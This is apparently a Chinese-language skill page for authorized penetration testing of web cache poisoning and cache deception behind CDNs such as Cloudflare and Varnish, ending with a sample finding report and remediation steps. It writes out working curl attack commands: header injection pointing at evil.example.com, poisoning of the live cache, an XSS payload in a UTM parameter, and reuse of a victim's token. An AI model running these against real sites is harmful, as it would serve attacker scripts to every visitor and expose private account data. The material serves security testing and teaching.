Guides authorized pentesting of web cache poisoning by identifying unkeyed headers/parameters with Burp Suite Param Miner and curl against CDNs like Cloudflare, Nginx, Varnish.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 在授权渗透测试中,当应用程序使用 CDN 或反向代理缓存(Cloudflare、Akamai、Varnish、Nginx)时
Guides authorized pentests for web cache poisoning by discovering unkeyed headers/parameters with Burp Suite Param Miner and testing cache keys via curl on CDNs like Cloudflare/Nginx.
Guides authorized pentests for web cache poisoning by exploiting unkeyed headers/parameters in CDNs/proxies (Cloudflare, Varnish, Nginx) using Burp Suite and curl.
Executes web cache deception attacks by exploiting path normalization differences between CDNs and origin servers to cache sensitive authenticated content. Useful for security testing apps behind Cloudflare or Nginx.
Share bugs, ideas, or general feedback.
确认正在使用的缓存基础设施以及缓存键的构造方式。
# 检查缓存相关的响应头部
curl -s -I "https://target.example.com/" | grep -iE \
"(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"
# 常见缓存标识:
# X-Cache: HIT / MISS
# CF-Cache-Status: HIT / MISS / DYNAMIC(Cloudflare)
# Age: 120(已缓存秒数)
# X-Varnish: 12345 67890(Varnish)
# Via: 1.1 varnish(Varnish/CDN 代理)
# 通过测试变体确定缓存键
# 缓存键通常包含:Host + Path + Query string
# 测试 1:相同 URL 发送两次请求,检查第二次是否命中缓存
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
# 第一次:MISS,第二次:HIT = 缓存已激活
# 测试 2:Vary 头部行为
curl -s -I "https://target.example.com/" | grep -i "vary"
# Vary: Accept-Encoding 表示 Accept-Encoding 是缓存键的一部分
使用 Burp 的 Param Miner 找出未纳入缓存键但在响应中被反射的头部和参数。
# 在 Burp Suite 中:
# 1. 从 BApp Store 安装 Param Miner
# 2. 右键点击目标请求 > Extensions > Param Miner > Guess headers
# 3. Param Miner 将测试数百个 HTTP 头部
# 4. 在 Extender > Extensions > Param Miner > Output 中查看结果
# 需手工测试的常见未纳入缓存键的头部:
# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto
# X-Original-URL, X-Rewrite-URL
# X-Host, X-Forwarded-Server
# Origin, Referer
# X-Forwarded-For, True-Client-IP
# 手工测试未纳入缓存键的头部反射
# 添加缓存破坏参数以隔离测试
CB="cachebuster=$(date +%s)"
# 测试 X-Forwarded-Host 反射
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?$CB" | grep "evil.example.com"
# 测试 X-Forwarded-Scheme
curl -s -H "X-Forwarded-Scheme: nothttps" \
"https://target.example.com/?$CB" | grep "nothttps"
# 测试 X-Original-URL(路径覆盖)
curl -s -H "X-Original-URL: /admin" \
"https://target.example.com/?$CB"
# 测试 X-Forwarded-Proto
curl -s -H "X-Forwarded-Proto: http" \
"https://target.example.com/?$CB" | grep "http://"
构造请求,将恶意内容注入缓存响应。
# 场景:X-Forwarded-Host 被反射到资源 URL 中
# 正常响应包含:<script src="https://target.example.com/app.js">
# 被毒化后:<script src="https://evil.example.com/app.js">
# 步骤 1:使用缓存破坏参数确认反射
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/?cb=unique123" | \
grep "evil.example.com"
# 步骤 2:毒化实际缓存页面(不带缓存破坏参数)
# 警告:此操作影响所有用户 — 仅在获得明确授权时执行
curl -s -H "X-Forwarded-Host: evil.example.com" \
"https://target.example.com/"
# 步骤 3:验证缓存是否已被毒化
curl -s "https://target.example.com/" | grep "evil.example.com"
# 若出现 evil.example.com,则缓存已被毒化
# 利用 X-Forwarded-Proto 实施 HTTP 降级攻击
curl -s -H "X-Forwarded-Proto: http" \
"https://target.example.com/?cb=unique456"
# 可能导致缓存响应包含 http:// 链接,从而实现中间人攻击
# 组合多个头部进行攻击
curl -s \
-H "X-Forwarded-Host: evil.example.com" \
-H "X-Forwarded-Proto: https" \
"https://target.example.com/?cb=unique789"
欺骗缓存将已认证响应存储为公开 URL 的内容。
# Web 缓存欺骗攻击
# 缓存基于文件扩展名(.css、.js、.jpg)进行缓存
# 若应用程序忽略路径后缀:
# 步骤 1:以受害者身份(已认证),访问:
# https://target.example.com/account/profile/nonexistent.css
# 若应用程序返回个人资料页面(忽略 .css 后缀)
# 且缓存因 .css 扩展名而存储该响应...
# 测试应用程序路径处理方式
curl -s -H "Authorization: Bearer $VICTIM_TOKEN" \
"https://target.example.com/account/profile/test.css" | \
grep -i "email\|name\|balance"
# 步骤 2:以攻击者身份(未认证),请求:
curl -s "https://target.example.com/account/profile/test.css"
# 若返回受害者的个人资料数据,则缓存欺骗攻击已确认
# 测试各种静态扩展名
for ext in css js jpg png gif ico svg woff woff2 ttf; do
echo -n ".$ext: "
curl -s -H "Authorization: Bearer $TOKEN" \
-o /dev/null -w "%{http_code} %{size_download}" \
"https://target.example.com/account/settings/x.$ext"
echo
done
# 测试路径混淆模式
# /account/settings%2f..%2fstatic/style.css
# /account/settings/..;/static/style.css
# /account/settings;.css
利用未纳入缓存键的查询参数或参数解析差异。
# 未纳入缓存键的参数(参数不在缓存键中但被反射到页面)
# 使用通常被排除在缓存键之外的 UTM 参数
curl -s "https://target.example.com/?utm_content=<script>alert(1)</script>&cb=$(date +%s)" | \
grep "alert"
# 通过解析差异实现参数隐藏
# 后端看到:callback=evil,缓存键忽略:callback
curl -s "https://target.example.com/jsonp?callback=alert(1)&cb=$(date +%s)"
# Fat GET 请求(在 GET 请求中包含请求体)
curl -s -X GET \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "param=evil_value" \
"https://target.example.com/page?cb=$(date +%s)"
# 缓存键规范化差异
# 某些缓存规范化查询字符串顺序,某些不会
curl -s "https://target.example.com/page?a=1&b=2" # 作为 key1 缓存
curl -s "https://target.example.com/page?b=2&a=1" # 相同键?还是不同键?
# 测试基于端口的缓存投毒
curl -s -H "Host: target.example.com:1234" \
"https://target.example.com/?cb=$(date +%s)" | grep "1234"
确认攻击影响并确保被毒化的缓存条目被清除。
# 验证被毒化的缓存是否对其他用户生效
# 使用不同的 IP/User-Agent/会话进行验证
curl -s -H "User-Agent: CacheVerification" \
"https://target.example.com/" | grep "evil"
# 检查缓存 TTL 以了解暴露窗口期
curl -s -I "https://target.example.com/" | grep -i "cache-control\|max-age\|s-maxage"
# max-age=3600 表示被毒化状态持续 1 小时
# 清理:强制缓存刷新
# 某些 CDN 允许通过 API 清除缓存
# Cloudflare:调用 API 清除缓存
# Varnish:使用 PURGE 方法
curl -s -X PURGE "https://target.example.com/"
# 或等待 TTL 过期
# 记录缓存投毒窗口期
# 开始时间:发送投毒请求的时刻
# 结束时间:开始时间 + max-age
# 受影响用户:在窗口期内访问缓存 URL 的所有用户
| 概念 | 定义 |
|---|---|
| 缓存键(Cache Key) | 用于标识缓存响应的请求属性集合(host、path、query) |
| 未纳入缓存键的输入(Unkeyed Input) | 未包含在缓存键中但在响应中被反射的 HTTP 头部或参数 |
| 缓存投毒(Cache Poisoning) | 向缓存响应注入恶意内容,使其被提供给其他用户 |
| 缓存欺骗(Cache Deception) | 欺骗缓存将已认证/私有响应存储为公开内容 |
| Vary 头部(Vary Header) | 指定哪些请求头部应纳入缓存键的 HTTP 头部 |
| 缓存破坏参数(Cache Buster) | 在测试期间防止影响真实缓存的唯一查询参数 |
| TTL(生存时间) | 缓存响应在刷新前保持有效的持续时间 |
| 工具 | 用途 |
|---|---|
| Burp Suite Professional | 请求拦截和缓存行为分析 |
| Param Miner(Burp 扩展) | 自动发现未纳入缓存键的 HTTP 头部和参数 |
| Web Cache Vulnerability Scanner | 自动检测缓存投毒的工具 |
| curl | 精确控制头部的手工 HTTP 请求构造 |
| Varnishlog | Varnish 缓存调试和日志分析 |
| CDN 专用工具 | Cloudflare Analytics、Akamai Pragma 头部用于缓存诊断 |
应用程序将 X-Forwarded-Host 头部反射到 script src URL 中。该头部未纳入缓存键。发送带有 X-Forwarded-Host: evil.com 的请求,毒化缓存,使所有后续访问者从攻击者服务器加载 JavaScript。
Cloudflare 缓存的应用程序忽略未知路径段。请求 /account/profile/logo.png 返回账户页面,而 Cloudflare 将其缓存为静态图片。任何未认证用户随后均可访问该缓存的账户页面。
UTM 跟踪参数被排除在缓存键之外,但在页面 HTML 中被渲染。通过 utm_content 参数注入 <script> 标签,毒化缓存,对所有访问者形成持久型 XSS。
多个应用程序位于同一 CDN 后端。操控 Host 头部使 CDN 在某应用程序的缓存键下存储另一个应用程序的响应。
## Web 缓存投毒发现
**漏洞**:通过未纳入缓存键的头部实现 Web 缓存投毒
**严重性**:High(CVSS 8.6)
**位置**:所有页面上的 X-Forwarded-Host 头部
**OWASP 类别**:A05:2021 - 安全配置错误
### 缓存配置
| 属性 | 值 |
|----------|-------|
| CDN/缓存 | Cloudflare |
| Cache-Control | max-age=3600, public |
| 未纳入缓存键的头部 | X-Forwarded-Host, X-Forwarded-Proto |
| 受影响页面 | 所有 HTML 页面(/*.html) |
### 复现步骤
1. 发送带有 X-Forwarded-Host: evil.example.com 的请求
2. 响应包含:<link href="https://evil.example.com/style.css">
3. Cloudflare 将该响应缓存 3600 秒
4. 所有后续访问者收到被毒化的响应
### 影响
- 在所有用户浏览器中执行 JavaScript(通过毒化的 script src)
- 凭证窃取、会话劫持、页面篡改
- 在 1 小时缓存窗口期内预计影响每日 50,000 名访问者
- 可持续重新投毒以维持攻击效果
### 建议
1. 通过 Vary 头部将 X-Forwarded-Host 及类似头部纳入缓存键
2. 不在响应内容中反射未纳入缓存键的头部
3. 配置缓存在转发到源服务器前剥离未知头部
4. 在应用层使用硬编码基础 URL,而非从头部派生
5. 实施缓存键规范化以防止键操控